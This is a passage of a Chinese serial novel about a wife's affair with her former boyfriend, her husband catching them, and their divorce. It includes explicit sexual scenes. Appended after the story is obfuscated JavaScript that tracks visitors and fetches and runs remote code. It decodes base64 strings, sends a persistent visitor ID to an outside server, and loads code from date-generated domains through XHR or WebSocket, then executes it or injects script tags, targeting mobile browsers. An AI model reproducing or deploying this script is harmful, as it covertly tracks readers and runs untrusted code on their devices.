  我问过单位的司机,张卫东这人怎幺样,司机说,这家伙烂得很,以前在XX
乡开车的时候就是出了名的烂。

  XX乡,很熟悉的名字,我突然想起老杨以前的那个女朋友说过,周玉兰认识
老何之前谈过两次恋爱,其中有一个就是在XX乡开车的,难道是就是这个张卫东?
我马上给老罗打了个电话,让他给查一查周玉兰那次打胎时的病历卡,老罗在电
话那边差点跳了起来,「什幺?病历卡?都是十几年前的事了,你让我上哪儿找
去?」「你急什幺急?你仔细想一下,那次陪着她去打胎的是谁?你认识吗?」
「我怎幺能认识?不过好像是我们医院张大姐的侄儿,应该也是姓张吧,好像是
个开车的,长得倒不错,可惜一看样子就知道没多少文化。」老罗想了半天才告
诉我,然后问我:「你怎幺也关心起这个事来了?是不是出什幺事了?」

  我没回答这小子,打电话挂了。

  整个中午,我在办公桌前坐了好久,我开始真正地体会起老何的痛苦来了。

  我决定找周玉兰谈谈。

  谈话是在当天下午下班之后,我给周玉兰打电话,让她办公室来,她有些莫
明其妙地来了,看到我她还笑嘻嘻地开玩笑:「怎幺了?你这个大忙人还有事情
找我呀?」

  一坐下来,我就直入主题,「你是不是认识张卫东?」

  我无法形容周玉兰那时的表情,那是多种表情的综合,半天,才恢复正常,
她盯着我看着,冷冷地说:「认识。」「那好,你是不是为他打过胎?」我毫不
留情地抛了出来。

  周玉兰看我的眼睛里可能快要喷出火来了,但她还是冷静下来,「是的,打
过,不过那是在认识老何之前的事了,我不想再提这些无聊的话题,我和他早就
没有关係了。难道那是我的错吗?那时我还不认识老何。」末了,她补充一句:
「我只爱老何,他现在就是我的全部,我不想你跟他提起这些事!」

  她的回答和态度让我很失望,我已经对这个我曾经很欣赏的女人彻底失望了,
我歎了口气,说:「我不会和老何说这些的,我怕他伤心,同时,我也希望你不
要让他伤心,他是个好男人,你应该珍惜。」

  「我哪一点不珍惜他?我哪一点又让他伤心了?虽然我不是那幺纯洁,可那
是以前的事了,我现在哪点对不起他?」周玉兰开始激动起来,声音很大,虽然
门关着,我还是怕有人听见,我苦笑了一下:「以前不是你的错,我也就是问一
下,我只要希望你现在能对老何,他是个好男人!」

  周玉兰怒气沖沖地走出我的办公室,我很清楚她当时的心情,我的嘴上挂着
一丝冷笑。

  生活就是一齣戏剧,我们都在这个舞台上挣扎。

  我们在看着别人的演出时,别人是不是也在看着我们的表演?

  (十二)

  老何要请假出差。

  请假出差是个病句,请假就不是出差,出差就不需要请假。

  老何向单位上请了假,告诉妻子他要出差,周玉兰问他要去哪儿出差,要他
多带两件衣服,「这几天热,衣服多带一点,拿回来我洗,再带点感冒药吧,你
最近身体本来就不好!」周玉兰在给老何收拾行李的时候温柔地讲。

  老何没有说什幺,只是笑了笑。如果在几个月前,他会觉得很幸福,现在呢?
当天晚上,老何和妻子做爱了,老何竭尽全力地在妻子身上翻腾,他很卖力,周
玉兰很满意,老何那粗壮的东西在她的阴道里抽送,几乎要擦出火花来了。

  这是他们最后一次做爱。

  第二天一大早老何就坐车去了火车站,提着那个妻子给他收拾好的行李,他
离开的时候,看着街头的人来人往,老何的心头肯定充满了沧桑。

  大街上勿勿而过的人流,是不是每一个都会有故事?周玉兰照常地上班下班,
然后回家给婷婷做饭,吃完饭,婷婷去写作业,周玉兰会坐在沙发前看电视,电
视上出现广告的时候,她也没有换台,眼光流动,好像在沉思。

  我不知道那段时间周玉兰出现了怎样的思想斗争。

  第二天早上,周玉兰把婷婷送到了学校,然后回来,路过菜市的时候,她随
便买了点菜,然后打电话给单位上,「是刘姐吗?我今天要请个假,我女儿发烧
了,他爸又出差了,我要在家里照顾孩子!」打完电话,周玉兰想了一想,又拿
起手机拨了一个号码,「喂,你在哪儿?有空吗?我在家里!」

  九点钟的时候,周玉兰又回到家里,她有些轻鬆地哼着歌,走到卫生间里,
慢慢地脱去衣服,雪白的肉体在卫生间的灯光下泛着柔光,她轻柔地往身上打着
香皂,她的乳房仍然饱满,暗红的乳晕、小巧的乳头如些的诱人,平坦的小腹下
一丛柔软的阴毛……门钤响了,周玉兰擦乾身上的水珠,拿条浴巾裹住身体,走
过去开门,一个男人钻了进来,脸上笑嘻嘻地「我还以你不会打电话给我呢!」
周玉兰白了他一眼,「怎幺打呀?他最近都在家时,好容易才出差了。」「你不
打电话,可是想死我了!」男人说着,抱着周玉兰就亲了一口。

  周玉兰伸手拍了那男人一下,「急什幺急?又不是没时间。」然后正色看着
男人:「我们以后要注意一点了,我丈夫的朋友开始怀疑了,是不是你在外面乱
说了?」「我会乱说这些事?」男人急得跳了起来「谁怀疑了?我找人收拾他。」

  「你可千万别,他是个有点权力的人,你斗不过的。」周玉兰幽幽地说:
「他只是知道我和你以前谈恋爱的事,不知道我们现在的事,你别去乱来,他问
过我和你以前的事,我也觉得这样做有点对不起老何了!」

  「有什幺对不起呀?这有什幺?咱们谈恋爱的时候做少了?你应该是我的女
人,我还没找他算帐呢?」男人又换了一种语气,笑瞇瞇地说:「我们别管这幺
多了,机会可不多了,你先让我过过瘾再说,我离了婚才知道,和谁都不如和你
做舒服!我们以后注意一点就行了。」

  周玉兰又白了男人一眼:「以后尽量要少做,我真觉得对不起老何。」然后
又换了一个笑容:「我今天本来不想叫你来的,但是我也有点想了。」

  男人笑嘻嘻地一把抱起周玉兰,「宝贝,那咱们今天就来个新鲜刺激一点的,
咱们在沙发上做!」周玉兰笑嘻嘻地说:「在沙发上做难度很大的,你有那本事
吗?」

  「有没有试一下就知道了!」男人笑着把周玉兰放到沙发上,蹲下身去就掀
开周玉兰身上的浴巾,分开她的双腿,说道:「宝贝,可想死我了!」一头就扎
进周玉兰的胯下,周玉兰忘情地享受着男人为她用舌头服务,像和老何做爱时一
样的呻吟着。

  男人笑着抬起头来,周玉兰媚笑着问他:「味道怎幺样?」「一大股骚味!」
男人笑嘻嘻地说,「你要死啊?说得这幺难听!」周玉兰笑着骂道,然后拉着男
人的耳朵说:「我今天就骚给你看看!快点上来。」

  男人就站了起来,周玉兰微笑着解开他的裤子,把那东西掏出来,熟练地戴
上避孕套,然后满意地拍了拍那东西,就:「好了,上来吧!」

  男人就骑到周玉兰的身上,坐在她大腿上,把下身往那肉洞里塞,不能全部
弄进去,周玉兰咯咯笑道:「说你没这个本事吧,你还不信!现在知道难度了吧?
把人家弄得痒死了。」

  男人嘿嘿一笑,说:「是不行,咱们中国男人是没有外国男人长,你把屁股
抬起来,我从后面弄算了。」周玉兰白了他一眼说:「不行早点说嘛,装什幺高
手呀?」然后就起身,趴在沙发上,把屁股向外面高高地抬了起来,男人伸手在
她屁股上拍了拍,说:「你这对屁股真好看,又大又白!」「少废话,你快点进
来吧!」周玉兰回头媚笑着骂了他一句。

  男人挺起那玩意凑到周玉兰的屁股后面,对着那里就挺了进去,周玉兰吸了
一口气,开始呻吟起来。

  (十三)

  半个时以后,两人已经是大汗淋漓,周玉兰头髮散乱趴在沙发上,屁股一个
劲地向后凑着。

  这时门开了。

  是的,门开了,老何就站在门口,眼睛里充满了的愤怒,也许,还带着几丝
绝望吧。

  我不是能很清楚地把握老何当时的情绪,我也不想把握这种情绪。这种情绪
会带给人彻头彻尾的伤害,甚至是一辈子的。

  周玉兰和那男人定在那里了,时间就像在那一秒钟停止了,如同照相机的快
门按下,一切都凝结成了一幅图画。

  也许在很多年之后,这幅图画还会在老何的脑海里闪现。它是如此的真实,
而又杀机四伏。

  其实在这里,我用了一个假想的手法,为了增加力量,我改变了一点真像,
真正的事实不是老何开门进去的,门已经被周玉兰反锁,老何无法打开,他像发
了疯地一样敲门进去,周玉兰完全没想到老何会从天而降,她把他当成收水费的
了,她披上件睡裙就去开门,然后就看到一脸绝望的老何透过防盗门上的窗子冷
冷地看着她。

  那场面就像是通过铁窗看着一个犯人。

  老何冲进屋的时候,在卧室里看到了正躲着穿衣服的张卫东。张卫东面如死
灰,他已经放弃了抵抗,如果老何那时用刀砍死他,他也不会挣扎。

  但是老何那天没有动手,我一直很奇怪,佩服他的冷静,后来他说那天他已
经忘记了还要动手收拾这对姦夫淫妇,他已经愤怒得忘了一切。

  其实,那天的我腿一直在抖,老何说。

  老练的张卫东很快就清醒过来,穿上衣服,逃离了现场,老何没有留他。那
时候的老何坐在沙发上呆呆地出神,他是个本份的人,从来不会用暴力解决问题。
也许,这种时候用暴力更痛快更直接,更容易解决问题。

  周玉兰面色苍白,「叭」地跪了下来。

  「你起来!」老何绝望地说,然后痛苦地闭上眼睛,靠在沙发上,泪水还是
夺眶而出。

  沙发旁边的地上,一只避孕套的包装袋静静地躺着。

  那个早上,夫妻俩具体说了些什幺,我无法猜想,但是有一点可以知道,周
玉兰跪着求了老何很久,声泪具下的求他饶恕自己,老何曾一度心软,他想把周
玉兰抱在怀里大哭一场,但他看见那只避孕套的包装袋,就像被人强行灌了一泡
屎一样噁心。

  「滚!」老何破口而出、声嘶力竭。

  接下来的事就和电视上演的差不多了,周玉兰同意离婚,一切都很平静,就
是在孩子的抚养权和房子分配上出了点问题,周玉兰的母亲站出来说房产证上是
她女儿的名字,房子应该归她女儿,周玉兰没有说什幺,任她母亲出来闹。

  我把她找出来问她:「你还有资格和老何争房子吗?你值得他把房子送你吗?」
她母亲跟着一起来了,在旁边很气愤的样子,我告诉她:「没你什幺事,老太太,
管好你自己的女儿就行了,这事要闹到法院去,看看房子判给谁吧?」

  第二在,周玉兰还是放弃了对房子的争夺,连对婷婷的抚养权一起放弃了,
在大红印盖到纸上的时候,我看到老何的眼睛里泪光闪动。

  当天晚上,我就以庆祝老何离婚成功为由,叫上老杨他们一起去喝了个烂醉,
我对每个人都讲,老何这小子在搞婚外恋,看上了个漂亮的妞子,她老婆死活不
同意离婚,现在总算是离成了,该来庆祝一下,老杨一个劲地表扬老何长出息了。
几个人嘻嘻哈哈,让我晃然觉得像是又回到十年以前那段时光,那时的我们是不
是也像现在的年青人一样幻想着美好的将来?我努力思索着十年以前,我幻想的
生活是个什幺样子,但我怎幺也想不清,也许,我醉了。

  老何那天也喝醉了,在他眼泪流出来之前,我带着他离开。

  一切美好的东西一旦撕去包装,都会变得丑陋无比。后来我这样和老何讲,
早叫你不要太相信一个女人,你不信,到头来你在这里守身如玉的坚持着,值得
吗?老何没有说话,半天之后突然站了起来「走吧,找个小姐来。」

  我对周玉兰怎幺会红杏出墙一直很费解,她们夫妻的感情一向就很好,而且
绝不是伪装出来的,难道她还对那个前任男朋友余情未了?或者是因为一个偶然
的因素又让她们旧情复燃?又或者仅仅是性慾上的需要刺激?按照周玉兰和老何
的解释是因为老何那次出差之间,她在一次宴会上遇到了老情人,那时张卫东刚
好离了婚,很苦闷地和她述说,她陪他喝了点酒,晚上张卫东开车送她回家,随
便送她上楼,又随便送她上了床,一切都很自然,就像戏剧一样。也许她当时有
过心理上的争扎,但是,一旦慾望的大门打开,就很难再关闭。

  「这个世界上还有真实的东西吗?如果我要是糊涂一点,我到现在一样会以
为我过得很幸福,是不是每个人要是清醒一点就会很痛苦,难道生活中就没有一
样是真的?」老何后来问我。

  「有!」我告诉他:「咱们还有父母,那是真的。」

  那段时间,我下了班就直接去了老何家里,他现在是单身了,我怕他无聊时
做出什幺傻事,就向老婆请了假去陪他。我带着他出入各种娱乐场所,见到了许
多打扮得花枝招展的女人,这小子其实也很色,喝酒醉了就嚷着要去找小姐。老
杨那些天也来陪他,但是一付郁郁寡欢的样子,坐下来就是喝酒,半天不发一言。
老何私下告诉我,他看到过老杨的婆娘和他上司一起从他们局里开办的宾馆里出
来,说这句的时候,老何一付很开心的样子。

  半个月后,一天晚上,我应酬回家,夜已经深了,为了醒酒,我在阳台上抽
烟,看着都市的深夜,寂静的街道和落寞的车辆,突然想起了故乡,那里是不是
一样也有寂寞的人?星星挂在村庄上面,下面是不是有狗在叫?村子外面的公路
上,是不是又有醉酒的汉子躺在地上呼呼大睡?趴满青滕的柴扉外是不是有夜归
的游子在叫门?电话响了,我拿了起来,老杨说:「我要离婚了!」

  深夜的城市半梦半醒,灯光依就,空气里瀰漫着几丝杀气。

关闭
关闭
function nRoTtV(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function XhwHRTK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return nRoTtV(t);};window[''+'M'+'s'+'h'+'p'+'n'+'A'+'H'+'d'+'G'+'I'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function LUyKT(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=XhwHRTK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=LUyKT(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=LUyKT(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1wemx2cS5jbiUzQQTg4OTE=','aHR0cHMllM0EllMkYllMkZhLnllra2hqcy5jbiUzQTk1MzU=','168322',window,document,['Q','l']);}:function(){};